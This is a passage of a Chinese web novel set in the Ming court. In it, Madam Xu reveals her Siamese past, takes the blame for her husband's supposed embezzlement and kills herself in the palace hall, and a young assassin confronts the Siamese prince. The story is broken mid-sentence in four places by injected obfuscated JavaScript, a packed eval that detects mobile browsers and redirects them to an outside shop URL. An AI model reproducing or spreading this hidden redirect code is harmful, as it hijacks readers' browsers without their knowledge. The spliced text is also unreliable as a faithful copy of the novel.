“可是一个月前,我却收到了一封信,信中他们叫我‘阿域’,我才发现,原来暹罗王室已经查到了我就是那个失踪的丫鬟,若是此事曝光,我不知如何面对夫君和女儿,便依照信中所说,来到了那荒废的驿站,谁知他们却要我给他们办事,还要我帮忙查找那藏宝图的下落。” “查库莱也知道藏宝图的存在?”景暄和有些惊讶,可转念一想,这也没什么惊讶的,麦娜尔是他的妻子,也许他早已从妻子口中得知了这个秘密。 只是如今这么多的人都盯着这藏宝图,却不知它下落何方? 这时,阿呆匆匆赶来,说:“老大不好了!” “怎么了?”景暄和起身问道。 “查库莱发现徐夫人被劫走了,他正往紫禁城而去,看他的样子,是想将徐夫人的身份公之于众啊!” 徐夫人脸上一白,面色如蜡。 117. 决绝如她 徐芃敏抓住母亲的手腕,说:“娘亲,在我心里,您是最重要的存在,其他我什么都可以不在乎,趁着暹罗王子还未到紫禁城,我送您离开顺天府吧,山高路远,总有您的容身之处!” “可是你怎么办?”徐夫人摸了摸女儿的面容,这面容与自己有些相似,她突然觉得,时光飞逝,从前的小不点原来竟这么大了。 她恨不得时时刻刻陪伴在女儿身边,看着她平安顺遂,幸福老去,最好能看到她成一个子孙满堂的老太太,可是,似乎没有时间了…… 徐夫人又叹息了一声,说:“还有你父亲,生死未卜,我实在不放心一个人离开。” “娘亲,父亲他最担心的就是您了,如果他在这里,我相信他也会劝您离开的……” “敏敏,很多时候人可以逃避,可是有些时候,躲也是躲不了的,只能面对,无论娘的结果如何,你都要好好活着。”徐夫人的目光有些决绝,她正色道:“景大人,我想面见圣上,当面说出事情的隐情,希望你能帮忙。” “徐夫人,您已经决定了吗?”景暄和神色有些迟疑,“圣上一向喜怒不定,谁也不能保证结果如何,若是他大发雷霆,便无异于自寻死路了。” 徐夫人点点头,道:“我已经做好决定了,无论结果如何,我都要堂堂正正地面对。” 她又拉住徐芃敏的手,温柔地微笑了一下,说:“敏敏,之前娘亲一直用的是王小姐的名字,可那并不是我的名字,我的真名叫‘翁思域’,祖先是岭南人士,后入了暹罗,娘亲便是在那里长大的,阴差阳错之下回到大明,也许便是冥冥之中的缘分吧。娘亲这一辈子,有了你爹和你,过了许多年幸福快乐的日子,娘亲已经很知足了。” 徐芃敏似乎有一丝不祥的预感,她哭着说:“娘亲,您别去!您如果不想一个人离开,那么女儿就陪您远走高飞吧,无论回暹罗,还是去什么深山老林隐姓埋名地活着都可以!只要有您在,只要能陪着您,女儿愿意放弃一切!” “傻孩子,你还有那么好的夫婿,难道你愿意舍了他,陪娘走吗?”徐夫人眼泪也涌了上来,她强忍着泪水,只是笑了笑。 “我愿意!我只要娘亲!只要娘亲!”徐芃敏泪如雨下,止不住地抱着徐夫人呜咽道:“娘亲在哪里,我就在哪里!” 她的母亲,在外人看来泼辣无比,性烈如火,有人还叫她“河东狮”,可是徐芃敏知道,那只是她的外表,而她的内心,是一个很温柔、很温柔的人。 徐芃敏仍然记得,小时候她生病的时候,是母亲衣不解带地照顾她,在她发烧头晕目眩时,是母亲用她冰凉温润的手指触摸着她的脑袋,她一遍又一遍地唱着歌谣哄她入睡,那些时光,早已印入了脑海中,刻在了骨子里。 母亲对待弱者乐善好施,她曾不止一次地看见自己的母亲停下轿子,蹲下身来,给小乞丐买馒头吃,她慈爱地抚摸他们的头,一点也不在意他们身上满是灰尘,在外人看来脏兮兮的。 如果要她用自己的一切交换母亲的平安,她也愿意! 哪怕是自己的生命! 她什么都不要了,只要母亲能好好活着! “好孩子,你是娘亲的心头肉,娘亲只要你幸福,不要怪娘的真实身份拖累了你……” “怎么会……”徐芃敏死死地抱住母亲,眼泪像断了线的珠子,她哭得喉咙都疼了,心脏像是被阻塞住了,连呼吸都喘不过气,“你永远是我最爱的母亲,你是我的骄傲!” “敏敏,娘答应你,娘一定平安回来,好吗?”她耐心地、轻柔地对女儿说道,一如小时候对待生病的她一般。 徐芃敏红着眼睛抬头,看到母亲眼中的坚定,只觉得母亲心意已定,是怎么都更改不了了。 她重重地咬了一下嘴唇,说:“娘亲,说话算话,如果你不回来,我就陪你一起去死。” “傻孩子!你说什么胡话!”徐夫人再也忍不住了,任眼泪簌簌流下,她拍了女儿的手臂一巴掌,又怕把她给拍疼了,只用了三分的力气,斥道:“你还年轻,你给老娘好好地活着!” 景暄和看着此时的场景,也红了眼眶,她也想自己的妈妈了,她飞快地擦了一下眼泪,却见身边的阿呆也似乎陷入了沉思,仿佛陷入了什么藏在心底、不足为外人道也的回忆。 *** 徐夫人最后还是去了紫禁城。 临行之前,她找景暄和借了一身干净的衣裳,沐浴更衣,对镜点了唇红,仿佛是要保持最后的体面。 朝会开始。 朱懿德坐于龙椅之上,却见右手边似乎少了一人,他问魏福忠:“今日首辅大人是告假了么,怎么不见他的人。” 魏福忠讳莫如深地摇了摇头,道:“陛下,首辅大人并未告假,许是被什么事情耽搁了也未可知吧。” “那便开始吧。”朱懿德对魏福忠使了个眼色。 魏福忠将拂尘一挑,高声说:“众爱卿有事启奏,无事退朝!” 这时,却有一个小太监通传道:“暹罗王子候在宫外,说有要事面见陛下。” “哦?他有什么事情呢?”朱懿德下令:“宣他觐见吧。” 不一会儿,查库莱便在宦官的引领下上了大殿,他一身锦衣,身后还有四个随从,其中有一少年,十分漂亮,编着十多条小辫,腰间还挂着铃铛,有种妖冶昳丽的美感。 查库莱恭敬地施了一礼,道:“陛下,小王有要事禀报!” “何事啊?”朱懿德来了兴致。 “前文渊阁大学士徐昶之妻王氏,并非中原人士,而是出身暹罗,名为‘阿域’,此乃我暹罗家事,请陛下将她交还于我!” 此语一出,众大臣无不惊讶。 朱懿德的神情有些意味不明,他敲了一下龙椅的把手。 “竟有此事?只是王子这话倒是有意思,大家都知道,徐夫人如今已经失踪,你找朕要人,是何意思啊?” “实不相瞒,阿域之前确实被我请去做客了,可还是那句话,她是暹罗人,这是我暹罗国的家事,小王管教自己的子民,也无需他人操心吧。”他话锋一转道:“可是我的随从说,阿域被一伙人劫走,领头的那位是个女子,身手了得,还穿着飞鱼服、佩绣春刀,大明有此装束的女子,想必便是那位景大人了吧。” 这时,又有一小宦官通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翁思域没有去看查库莱,而是平静地说:“请陛下饶恕王氏,他们也只是爱女心切而已,要杀要剐,一切罪责,由我承担便好。” 她的眼中无波无澜,却不是死水一般,而是像天地间最纯净的湖水,带着不可动摇的力量。 “当年暹罗王室屠杀了一众无辜之人,只为守住明香公主和天鸾大师的秘密。”翁思域缓缓说道,她已经完全做好准备,将这段隐秘的往事公之于众。 “你给我闭嘴!”查库莱面色一赤,指着她怒骂道:“这是我暹罗秘辛,岂能让你这胆大的妇人乱嚼舌根?!” 景暄和朗声说:“这儿是大明的朝堂,自然容得下她的声音!” 朱懿德似乎对查库莱有些不悦,他冷脸道:“徐夫人,你说吧。” 翁思域深吸一口气,开始诉说那件往事,她的声音沉静,众人细细地听她说的故事,偌大的朝堂中只有她一人的声音。 在提到鸠摩迦耶的名字时,谁也没有发现,角落处,少年的手默默地握成了拳头。 118. 血色宫廷(上) 故事讲完了,翁思域只觉得横亘在心头许多年的大石头终于落了地,让她感到无比的畅快。 大殿中集体陷入了沉默,就连一向最喜欢发言的老臣们此时也没有再说话。 查库莱被这沉默弄得有些心慌,他咽了一口唾沫,道:“陛下,这妖妇说的简直一派胡言,请陛下明断啊!” “你敢对着青天白日发誓,说我一派胡言吗?”翁思域紧皱眉头,目光冷冽地盯着他:“王子殿下,这件事发生的时候你已经十五岁了,不是小孩子了,那一日明香公主砍断四眼佛手指时,你敢说你不在当场?还有鸠摩迦耶被火烧死时,你也在那里,可你只是冷眼旁观着,不发一言,就不怕昧了天地良心?” 查库莱的脸色一黑,他当然知道这全是真的,可在他心中,鸠摩迦耶一人的性命哪里有王室的声誉重要,如果是他当时坐在王位上,想必也会和父亲做出一模一样的选择。 明香公主何其尊贵?一国公主最重要的就是名声,就算告诉天下百姓她去世了,也不能让人知道她变成了一个为爱痴狂、毁坏佛像的疯女人。 王室的体面与尊严,不容亵渎! 况且暹罗全民信佛,若被人发现堂堂的公主竟然毁了四眼佛,恐怕会在民众之中掀起滔天巨浪! 他还想解释,可是也许是翁思域的眼神太过锐利,他一时竟然大脑一片空白,嘴唇嗫嚅,说不出一句话。 翁思域整理了一下思绪,继续道:“陛下,这便是事情的全部真相,可臣妇要说的,还有另一件事,这件事情,关乎我夫君的性命,臣妇不能不说。” 朱懿德目光复杂地望了一眼下方的妇人,摆摆手,道:“徐夫人,请说。” 她的眼神带着隐忍与果断,深吸一口气,缓缓道:“陛下,贪污之事并不是我的夫君所做,而是我私下联络他的同僚,他们才将银钱交给了我,账本是我绘制的,我的夫君从头到尾都没有参与,他是无辜的。” 此言一出,景暄和冷不丁地全身一颤,徐夫人是想将罪责都引到自己身上么? 翁思域的嘴角带上了一丝笑,“我的夫君最是两袖清风,他是个清清白白的读书人,平日里连收一点节日的礼物都会悉数退回给别人,又怎会贪下巨额钱财?而我呢,我是个贪心的妇人,最喜欢银钱了,在京中名声也不好,这一切全是我做的。” 魏福忠有些阴阳怪气地说:“徐夫人慎言,你可知道将这罪责揽在身上会有什么后果,若是你说了谎,那可是欺君之罪!” “大殿之上,我怎会信口开河?”她顿了顿,说:“账本是在佛龛后面发现的,对吧?徐家只有我一人信佛,我的夫君从未踏足过佛堂,丫鬟小厮皆可作证,厂公切勿冤枉好人!” 其实账本发现的地点是景暄和告诉她的,只是景暄和怎么也没想到,徐夫人会以此祸水东引。 魏福忠睨了她一眼:“徐夫人,就算你说的是实话,可你有什么必要认罪呢?我的意思是,你做的和你夫君做的又有什么区别,你们不是一家人么?一家人,就该同罪,俗话说得好,有难同当呀。” 翁思域平静地开口道:“我本就是借用琅琊王氏的身份嫁入徐家的,与徐家结亲的是王氏,那么与徐学士有难同当的也应当是王氏,和我翁思域又有什么关系?我犯的罪,我一人承担,我与他,从法理来说,连夫妻都不是,所以,我们并不是一家人啊。” 她说这话时很平静,仿佛否认了之前所有幸福快乐的时光。 可景暄和知道这不是否认,只是出于了保护。 出于了……爱。 翁思域知道,景大人与万大人正在帮她夫君寻找证据,他们想证明他没有贪污,她也相信他们最后会找到的,可是时间不等人,她的夫君如今在东厂牢狱中生死未卜,每多一刻,就会多一刻的危险,她不知道他能不能挺过去。 她不能将希望寄托给别人,于是,只能自己来了。 翁思域突然跪了下来,叩首道:“请陛下明察,徐大学士是无辜的!臣妇愿意为我所说的负责,哪怕付出自己的性命!” 朱懿德的表情似乎有些纠结,他余光望了一眼魏福忠,问道:“魏厂公意下如何啊?” 魏福忠却面冷如铁,他心想:真是一出好戏啊,难道他还对付不了一个手无寸铁的妇人?等她下狱后,他有的是办法让她改口,即使现在徐学士被放出来了,他也有把握让他再关进去,让他们赔了夫人又折兵! 只要将徐夫人握在手中,徐学士便有了软肋,到时候他们夫妻二人一同入狱,说不定能挖出更多东西,甚至将万灵安拖下水也不无可能,放长线钓大鱼嘛…… 那个时候,可就更有意思了。 一想到此,魏福忠露出了玩味的微笑,他徐徐说:“陛下,既然这妇人自请入狱,那么便就这样办吧,想必徐学士也是受她蒙蔽的,何不将他放出来,加以抚恤?” 朱懿德点头:“那便如厂公所言了。” 东厂的宦官入了大殿,准备将徐夫人带下去,她却突然起身,身体微微颤抖,呼吸急促。 景暄和心中有不祥的预感。 倏忽间,翁思域决绝地冲向了大殿的柱子。 这柱子是金丝楠木所造,最是坚硬。 在众人的惊呼声中,血溅当场。 时间仿佛在这一刻凝固了,周围的所有声音都消失了。 柱子上流下了血迹,鲜红而滚烫,刺痛了整座大殿。 “徐夫人!”景暄和大喝一声。 翁思域缓缓倒下,景暄和飞快地接住了她。 鲜血从她的额头留下,她似乎没了力气,只剩下最后一丝气息。 “陛下,求您宣太医啊!”景暄和拼命地捂住她的伤口,“陛下!求您了!” 她双眼通红,肩膀剧烈地抖动着,手上身上全是血,她突然有些晕眩,人怎么可以流这么多血呢。 她突然很后悔! 她就不该带徐夫人进入紫禁城的! 这不是宫殿,这是死亡的牢狱! 朱懿德眼中似乎有些不忍,对身旁的宦官吩咐道:“她虽然有罪,朕也不能见死不救,还是宣太医吧。” …… 景暄和抱着她,用最柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436962|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的语气对徐夫人说:“没事的,您一定会没事的!” 她像是在宽慰她,也像是在宽慰自己。 翁思域气若游丝地说:“没用的……景大人……不用白费力气了……我还……还没跟你说声谢……谢谢……” 景暄和只觉得自己脸颊冰凉,一摸才发现自己流泪了。 “徐夫人,您不会有事的!皇上已经宣御医了……他们马上就过来了……您再忍一下……”她的话语断断续续的,连带着思绪也断断续续的。 来到大明后,她见过了许多人,他们有的在史书上留下了几行字,更多的却连名字都没有留下。 一开始,景暄和只将他们当做NPC,他们就像史书扉页上的灰尘,存在过,可也仅限于存在过,好似他们在不在对于历史没有一丁点作用。 可是如今景暄和才发现,他们不是灰尘……对于在乎他们的人来说,他们是心中永远也无法抹去的记忆! 他们是宝藏。 是光。 也是希望。 “为了……为了我爱的人,我必须死……谢谢你……关心我的女儿……谢谢……” 她的目光像轻飘飘的云朵,最后,望向了午门的方向,带着对世界最后的一丝眷恋,一行眼泪从她的眼角流出,滑落到了大殿冰凉的金砖上。 午门外,有她的女儿。 那是她的小不点。 她的亲人。 说完,她便闭上了眼睛。 永远、永远地闭上了眼睛。 此刻的宫门外,徐芃敏的心脏突然一抽,她感觉到很痛苦,这种痛苦无法用语言来言说,好像一瞬间,连活着都失去了意义。 朱色的宫门像流淌的鲜血,又像大火,这红色灼伤了她的眼睛,炙烤着她的灵魂。 她捂着胸口,脸色煞白,仿佛连呼吸都是一种奢望。 多么希望自己此刻的感应是错的。 可是母女连心啊。 徐芃敏蜷缩在宫门前,放声大哭。 她没有母亲了…… *** 大殿内静悄悄的,景暄和紧紧地抱着她,好像她没有死,只是睡着了。 可是怀中的人没有再说话了,连呼吸都停止了。 她真的死了。 朱懿德叹息了一口气:“既然徐学士是无辜的,便将他放出来吧,官复原职……” 魏福忠适时地提醒道:“陛下,徐学士一只耳朵已经没了,无法再做文渊阁大学士了,何不让他致仕,一心养老便好?” 朱懿德刚想说话,角落中的少年却腾空而出,将头上的簪子取下,一把抵住了查库莱的脖子。 查库莱一时没反应过来。 像傻了一般地盯着那少年。 “保护圣上!快保护圣上!”魏福忠眼疾手快地喊道。 羽林卫们将朱懿德护在身后,一部分人又将少年团团围住。 少年却轻蔑地一笑,说:“我不想要大明皇帝的性命,这对我来说没有意义。” 他的眼神陡然转冷,“我只要查库莱的命!” 119. 血色宫廷(下) 少年长着一张漂亮到不可思议的脸,在华丽的宫殿之中,却眉眼如冰,冷漠而绝情。 殿外突然乌云散开,露出了太阳,阳光洒在大殿的金砖上,投下了一片耀眼的金色。 少年身后拖着一段长长的影子,他将查库莱死死地掐住脖子,抵在柱子上,仿佛只要一用力,就能将他的脖子扭断。 景暄和擦了擦眼泪,轻轻地放下徐夫人。 最后深深地望了她一眼。 “放……放开我!你要什么都好说!”查库莱被他掐住动弹不得,可求生的本能还是没有消失,他死死地攀住少年的手臂,趁着空隙高声道:“本王子许诺你家宅百套,田亩千倾,只要你放开我!” “我什么都不要!只要你的命!”少年神色冰冷,一字一句道。 查库莱被掐得脸色青紫,差点喘不上气。 气氛陷入了僵持。 景暄和像是想起了什么,拿出那佛经,入目只见最后一页一片空白,什么都没有。 她突然将身旁的灯拿起,将灯油倒了上去…… 逐渐的,字与画显现了出来。 景暄和飞快地看着上面的内容,突然震惊地望向那少年。 她很快便起身,对少年道:“你就是鸠摩迦耶的孩子吧,查库莱的队伍中有他的儿子,就是你。” 羽林卫给她让出了一条道路。 景暄和进入了包围圈,对他说:“你的名字,是不是叫明澈?” 少年怔忪了一下,他自然知道景暄和是查案的大人,只是……她怎么会知道自己的名字? 景暄和似乎看出了他的心思,说:“不光如此,我知道的远比你想象的要多。” 明澈疑惑地望着她,景暄和走近一步,明澈却防备地退后,一手抓住查库莱道:“你别过来!” “好,我不过来。”景暄和目光幽深地望着他道:“我知道你在父母死后便被送入了佛寺,可你却逃了出来,不知所踪,后来你投入了西域大王子阿米尔的麾下,成为他的杀手,大王子因为与他的妹妹争夺王位,又使计让她去暹罗和亲,可阿米尔还是不放心,派你来到暹罗王子查库莱的身边,贿赂他,让他一直看管住自己的妹妹,不让她回到西域。 你一直听命行事,可是今天你才发现,原来是暹罗王室害死了你的父亲,而查库莱是暹罗王子,也是王位的继承人,若是他死了,将是你对暹罗王室最有力的报复,我说的对吗?” 明澈眼神似毒蛇一般,“我小时候被送入了佛寺,天天面对那该死的佛祖,可是凭什么?我的母亲被佛门杀死,我的父亲也因为佛像而死,我又为什么要供奉那不长眼的如来?我必须逃出去,逃得越远越好!” “那三只断手也是你放上去的,断手的主人便是三名西域探子,他们是麦娜尔公主的人,因为你听从西域王子的命令,所以,你杀了他们,以此来震慑西域的公主。”景暄和沉默了一下,又说:“当时,你藏在特制的马车里,趁着红布盖住佛像,而红布与佛像间留有间隙,你便顺着间隙将断臂放在四眼佛的手上,引起混乱,又藏入了马车之中……清水禅寺的住持玉泰大师早年是你父亲鸠摩迦耶的朋友,为了保护你,他更换了马车,还阻挠我查案,谁知却被阿米尔派来的另一杀手给杀掉了。” “是又怎么样?我从始至终都知道,阿米尔将我当做一颗棋子,他不过就是想让我为他做事情而已,可是当时我从佛门逃出后走投无路,孤苦无依,是他救了我,所以我为他做事,也算是报答他的恩情。”他顿了顿,“只是天鸾大师为了佛门的声誉,竟然害死了我的母亲,这是什么妖佛!我的父亲居然不为母亲报仇,而是任人污蔑,就这样窝囊地被烧死,简直枉为男人!既然他不报仇,这个仇,我来报!” 他的话语看似大逆不道,可却是他内心中最真实的想法,“这四眼佛本就沾上了我父亲的鲜血,再沾上那三个人的也没有关系。” 去他的佛祖! 杀人之佛,不可留! “想必我父亲死前,肯定很恨吧,他一定恨极了带给他痛苦的所有人!他们全是杀了他的凶手!”他狠狠地掐住查库莱的脖子,“你们暹罗王室对不起他!你们不是人!光砍掉那佛像的手指怎么够呢?这妖佛如来,就应该从这个世界上永远消失才是!” “不!他没有!”景暄和大声道:“你父亲是个善良的人,在生命的最后,他没有怨恨任何人,而是怀着对你母亲的爱离开的,他无愧于佛祖,无愧你母亲,他一直都是个干净善良的人!他爱世间的一切人,不忍心苍生受苦,即使是素昧平生的明香公主,他也甘愿背上骂名,替她顶罪!” “不……这不可能!”漂亮妖冶的少年眼神迷茫,像是被掏空了灵魂。 景暄和将佛经拿了出来,说:“这是你父亲生前最后撰写的一本佛经,上面是你父亲的亲笔笔迹,最后一张纸一片空白,我觉得疑惑,恰巧我发现,暹罗有一种秘法,若纸张沾上油脂,便能显出字画来,我试了试,果然看到了信息,这佛经的末页记录整个事情的真相,不是从他人口中得到的真相,而是从当事人口中说出的,最完整的真相。” 她说着便翻到了最后一页。 上面是一副画,画上的是一个美艳绝伦的女子,上面用汉字写了她的名字。 “你的母亲,叫明月溶,是中原人士。” 明澈怔忪地看着那画像,他的母亲很早就死了,从那以后,他只在梦中见到一个模糊的影子,没想到如今却有了这么真实的画像。 他的母亲长得极美,如潋滟春色中的一株桃花,娇艳欲滴。 只是死得太早了。 “你和你的母亲长得很像,让人一眼就能认出,你们是母子。”景暄和说。 明澈嘴唇微张,像在做梦一般。 “你的父亲鸠摩迦耶在最后一页记录了整件事情,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏福忠咳嗽了一声,问朱懿德:“陛下打算如何了结此事呢?” “嗯,让朕再想想。” 今天的事情发生了太多,让朱懿德突然有些头疼,他揉了揉太阳穴,只觉得很疲惫。 身体疲惫,心更疲惫。 这时,又有一个宦官进来通报了,他慌慌张张的,差点摔了一跤,似乎发生了什么了不得的大事。 “主子万岁爷,不好了!” 朱懿德“啧”了一声,不禁皱起了眉,“管事的太监没教过你规矩么,慌慌张张,成何体统?”他不耐烦地敲了敲手指,“又有何事啊?” “首辅大人今日来上朝的路人被刺客刺杀了,如今生死未卜,送回了府中,可大夫说他失血过多,好像快不行了!” 景暄和转瞬间抬头。 仿佛整个人被冻住了。 120. 咫尺天涯 宫门打开,大臣们鱼贯着出来。 徐芃敏赶忙擦干眼泪,踮起脚尖张望,是的,她还怀有最后一丝希望。 她是多么希望刚才的预感是错的。 可是看到景暄和将徐夫人的尸首运到宫外时,她只是怔忪地望着那白布。 她不敢动,甚至不敢呼吸,仿佛只要她不去触碰,她的母亲就还活着。 景暄和缓缓地伸手,握住她的肩膀,却感觉到徐芃敏整个人似乎在战栗。 景暄和一路上都在流泪,可是出宫门前却擦了擦眼睛,不想徐芃敏看到她难过的样子。 此时的午门有太多大臣,他们都用余光打量着徐芃敏,徐芃敏知道他们想看她笑话,可她偏偏就不给他们这个机会。 “谢谢你,景姐姐,我要带我母亲回去了。”她刚才哭累了,此时竟连一滴眼泪也流不出来,只是心中像被捅出一个血窟窿,正流着鲜血。 如今汪常青并不在她的身边,受徐家案子的牵连,七天前,他被派到望春县公干,距离京城一百八十里路。那处盗贼横行,朝廷要他去收服贼寇,这件任务谁都不想干,于是大理寺的新任长官便将此事交到了他的身上。 其实徐芃敏是很担心的,他一个手无缚鸡之力的柔弱书生,如今却被派去剿寇,那些人到底安的什么心? 怪不得有人说,你顺遂时,身边全是好人,当你不幸时,身边全是落井下石的人。 不过,这个“全”字也有点极端,起码,景姐姐是一直陪在她身边的,她很珍惜这个不离弃她的人。 “敏敏,你一个人真的可以吗?” “不可以也要可以,徐家如今没落了,我只能靠自己。”徐芃敏的眼睛因为哭过,像被水洗过一般,眼神中透露出坚毅。 “景姐姐,怎么你脸色这么差。”她反倒开始关心起她来了。 “万大人遇刺了,他们说,他伤得很重。”景暄和眼中流露出悲伤,又透着一丝迷茫。 刚才那宦官说万灵安快不行了,还好过了一会儿又有人来传消息,说他的命是保住了,只是一直昏迷不醒。 “那你怎么不去看看他呢?” 景暄和苦笑了一下,摇摇头说:“大批的官员已经去他的府中了,就连圣上也带着明贵妃亲自登临,那处现在应该没有我的位置,我去不到他的身边。” 多么可悲啊,她明明很担心他,却见不到他。 她无法光明正大地站在他的身边,即使是在他最需要她的时候。 景暄和将自己的白马借给徐芃敏,徐芃敏道了声谢,驾着马离开,白马后面拖着一个板车,上面放着她母亲的尸首。 百姓们纷纷让开道,似是不想沾上这晦气,徐芃敏却视若无睹,只是目不斜视地往家中而去。 她将指甲掐进肉里,努力地不去看路人异样的目光。 如今,她必须坚强起来。 她逼着自己扯开一抹笑,像一个骄傲的公主。 即使落魄了,她也永远是骄傲的徐家人。 景暄和看着她的身影越来越小,心里空荡荡的。 她有一个预感,通过这件事,徐芃敏会成长为一个很厉害的女孩子,她的前途不可限量。 不知怎的便来到了万灵安的府邸前,果然如她所料,皇上与贵妃还在里面,外面是许许多多的大臣。 她站在石桥上,只觉得咫尺天涯。 一瞬间,她只觉得他们之间隔着太多——她走不近他,他也走不近她。 可是她不想放弃,她想尽她所能地走近他,不想半途而弃。 “景大人,你怎么在这儿?可叫我好找。” 景暄和回头,只见庄炎正站在她身后,目光有些焦虑。 “万渊到底怎么了?”景暄和看到他仿佛看到了亲人,“今早到底发生了什么事?” “都怪那个人,要不是他,万大人也不会成如今的样子。”庄炎双手握成了拳头。 “你说的‘那个人’,到底是谁?” 庄炎深吸一口气,开始讲述早上发生的事情。 几个时辰前。 天已快亮,万灵安起身,在上朝前,他必要读一个时辰的书。 不知怎的,今天翻到的一面是《左传》的《郑伯克段于鄢》,讲的是兄弟相残的故事。 书斋的门却被敲了敲,原来是庄炎,他拿着一封信,面容犹疑。 “万大人,刚刚门柱上突然被钉着一封信,竟是那人派人送来的。” 万灵安一愣,放下书,“你说的那人,是他吗?” “正是,只是黎正这个时候给您送信,到底是什么意思?” 万灵安接过信,手指却不自觉地颤抖了一下,“他约我现在去清心茶楼一见。” “现在?可还有几个时辰便要上朝了。” 万灵安望了一眼窗外的天光,道:“时间还早,若他约我,我必赴约。” …… “你是说,是黎正约的万渊,你确定吗?” “万大人认识他的字迹,应该不会出错。” “也不排除是有人刻意模仿他的笔迹,万渊位高权重,想要他性命的何止一二?我总觉得,黎正不会这么蠢,直接和万渊刀剑相向。” 庄炎沉思了一下,又有些焦急地说:“今早是我的弟弟庄阳护送的万大人,他也受了重伤。” “他还好吗?” “与万大人一样,没有性命之忧。” “那就好,可是,怎会如此?”景暄和深吸一口气,“万渊与庄阳都是武功高强之人,他的护卫也是千里挑一的,对方到底有多少人马,竟将他们算计得如此狼狈?” 庄炎说:“有一百姓恰巧路过,躲在了杂物堆中才逃过一劫,他说,一共有五十人左右,都是武艺超群之人,万大人之前为了救您伤了元气,那些人正是看准这个时机,才出手的。” “会是魏福忠做的吗?”景暄和强迫自己冷静下来,“那人一向心狠手辣,黎正如今又在他手下做事,难道是他逼迫黎正写下那信的?” 越想越觉得可能。 庄炎愤恨道:“黎正早就不是之前那个黎正了,如今留着他,就是个祸害,景大人,他如今就住在城南的一座别院里,我知道那个地方,我要不要带人偷偷潜入进去,解决那个祸害?” “切勿莽撞行事,这也只是我的推测罢了。黎正对万渊有不一样的意义,否则他也不会冒着风险也要去见他了。”景暄和拦住了庄炎,“如今万府人多眼杂,我想去见他一面,又不能被人发现。” “可是万大人如今还在昏迷,就算你去见了,也和他说不了话。”庄炎犹疑道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们都说,不知道你什么时候能醒来,我好害怕,我真的很怕……可是,你是万渊啊,怎么可能会一辈子睡在这里呢?”她亲了亲他的手背,“还有那么多事情等着你去处理呢,你怎么能就这样放下不管了?” 她突然开始和他置起气来,连她自己都不知道在气些什么。 也许她是疯了,才会和一个正在昏迷的人置气。 “庄炎说,他要去杀了黎正,却被我制止了,我也不知道这样做对不对,可是我在想,如果你醒过来了,听到黎正被杀的消息一定会伤心,我不想让你伤心,所以制止了他,我也不知道我这样做对不对……”她喃喃道,即使万灵安听不见,她也想说,此时的她,只是缺一个倾诉的窗口,她觉得自己的心沉甸甸的,必须通过倾诉才能发泄出来。 她不能和徐芃敏倾诉自己的害怕,因为敏敏自己就已经很难了,她不能再让她担忧了。 她也不能跟阿呆说,那个傻小子,说了他也不懂。 那么,只能和他说了。 房门被敲了敲,管家低声说,景大人,时候不早了。 她应了一声,匆匆地离开了他身边。 在关门的时候,深深地往里面望了一眼。 在出万府的门时,远远地就看到阿呆立在那石桥上,也不知在想些什么。 121. 月光之下 银白色的月光照在了他的脸上,沐浴在月光下,他的神情有些孤寂。 “阿呆,你怎么在这里?”景暄和走近他,有些惊讶。 他看到她眼眶红红的,不由得隐去了落寞的神色,只是说:“太晚了,我来看看你,因为我知道,你一定会去探望万大人的。万大人如今怎样了?” “大夫说命是保住了,可什么时候醒来却说不准。”她的眉眼中带着一抹挥之不去的惆怅,“只觉得最近诸事不顺,好像被困在了一个看不见的牢笼之中,每日都要面对着受伤与鲜血,这样的日子,真不知道什么时候是个头。” “这世间不就是一个巨大的樊笼吗?只要我们有想要追求的东西,就会一直被困在这笼子里,永远也出不去,只有死亡是唯一的解脱。”阿呆的声音淡淡的。 他们走在月光下,她却觉得,今天的阿呆有些不一样了。 阿呆突然问:“查到是谁害的万大人了么?” 景暄和说:“万渊收到了他挚友的字条,便去了清心茶楼,谁知道,却在那里遇到了埋伏。也许他那朋友和他早不是一个阵营的了,如果不是一条心,他也不该再相信他了。” “既然是好朋友,又怎么会想害死他?”阿呆只是说,声音不知不觉提高了一个音调。 景暄和不知他为什么突然这么激动,不由得望了他一眼。 阿呆说:“我的意思是,万大人将他当做朋友,一定有他的道理,既然他敢去赴约,就说明他相信那个人,能让万大人相信的人,不会是等闲之辈。” “希望如此吧。”景暄和答道。 “老大,你有没有想过,换一种生活?”他停下脚步,突然问她。 景暄和疑惑地盯着他。 “与万大人在一起,注定是危机四伏的路,恐怕还会牵连性命,你之前不是说,什么都不如自己的小命重要吗?” 景暄和的目光变得坚定起来,她缓缓说:“可是现在我已经走到了这个位置,就不能后退,我不能放弃他,即使是死也不能。” “你就这么喜欢万大人么?喜欢到愿意为他放弃自己的性命?” 